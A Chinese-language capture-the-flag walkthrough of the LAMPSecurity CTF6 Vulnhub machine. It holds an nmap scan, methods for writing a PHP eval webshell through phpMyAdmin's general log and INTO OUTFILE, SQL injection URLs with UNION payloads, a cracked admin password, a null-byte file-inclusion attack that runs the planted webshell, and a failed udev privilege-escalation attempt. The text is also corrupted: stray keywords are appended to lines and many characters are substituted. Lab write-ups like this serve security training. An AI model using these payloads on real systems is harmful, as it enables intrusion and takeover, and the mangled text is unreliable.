LAMPSecurity: CTF6 Vulnhub Walkthrough

镜像下载地址:php

https://www.vulnhub.com/entry/lampsecurity-ctf6,85/html

 

主机扫描:mysql

╰─ nmap -p- -sV -oA scan 10.10.202.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-21 08:57 CST
Nmap scan report for 10.10.202.130
Host is up (0.0029s latency).
Not shown: 65525 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.3 ((CentOS))
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
624/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
3306/tcp open mysql MySQL 5.0.45
MAC Address: 00:0C:29:62:3B:5A (VMware)linux

目录扫描web

 

 

 

phpinfo 获取物理路径:/var/www/htmlsql

网站备份寻找敏感信息shell

 

 

phpmyadmin 登陆试试ssh

phpadmin 写shelltcp

这里简单下复习下PHPadmin 拿shell的几种思路:网站

1)志文件写入一句话来获取webshell
general.log变量是指是否启动记录日志;而general log file指的是日志文件的路径,能够看到general.log变量的状态为OFF,故咱们要修改成ON;general log file变量中的*.log的后缀咱们改成*php。拿完webshell记得要改回去哟。SQL语句进行修改

show global variables like "%log%"

set global general_log = "ON";
SET global general_log_file='/var/www/html/shell.php'
select "<?php eval($_POST['cmd']);?>"


2)利用插入一句话来提取webshell

show global variables like '%secure%';显示是NULL值,这样的状况下咱们插入一句话是没法插入的,须要咱们修改secure_file_priv=''为空值才能插入一句话:

解释一下:

secure_file_priv为null 表示不容许导入导出;

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹;

secure_file_priv没有设置时,则表示没有任何限制


select "<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/hack.php'

 

这里日志文件没有开启,第一种方式无失效,第二种方式,标识没有限制,能够尝试写webshell

 

 

 

报错,目录没权限,尝试/tmp 目录写入没有问题的,放弃。尝试其余办法

主页面发现SQL注入漏洞:

http://10.10.202.130/index.php?id=4 and true  #true

http://10.10.202.130/index.php?id=4 and false # false

http://10.10.202.130/index.php?id=4 order by 7 #true

http://10.10.202.130/index.php?id=4 order by 8 #false

10.10.202.130/index.php?id=4 union select 1,2,3,4,5,6,7 from user

 

 

 http://10.10.202.130/?id=4 +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4,5,6,7

SQLmap 获取admin的密码

admin         | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) 

http://10.10.202.130/index.php?action=login

登陆没发现长传点之类的接口

继续看看源代码

login.php 发现文件包含漏洞

 

这里后缀为.tpl,这里尝试使用截断%00或者%0A

http://10.10.202.130/actions/login.php?action=../../conf/config.ini%00

 

尝试把一句话木马,这里有两个思路:

1. 经过phpamdin 写到tmp目录,进行文件包含../../../../../../tmp/hack.php%00

 

 

 

2. 写到日志文件,进行包含进来../../logs/log.log%00 看看可否解析

<?php eval($_POST['cmd']);?>

 

 

 

http://10.10.202.130/actions/login.php?action=../../logs/log.log%00

 

 

提权操做

尝试内核提权,几个都不行

最后经过Google得知内核Kernel version is 2.6.18-92.el5 须要UDEV提权

cp /usr/share/exploitdb/exploits/linux/local/8478.sh ./

sed -i -e 's/\r$//' 8478.sh

 

 

没法成功,尝试了屡次,依旧,有可能跟环境有关系吧!

相关文章
相关标签/搜索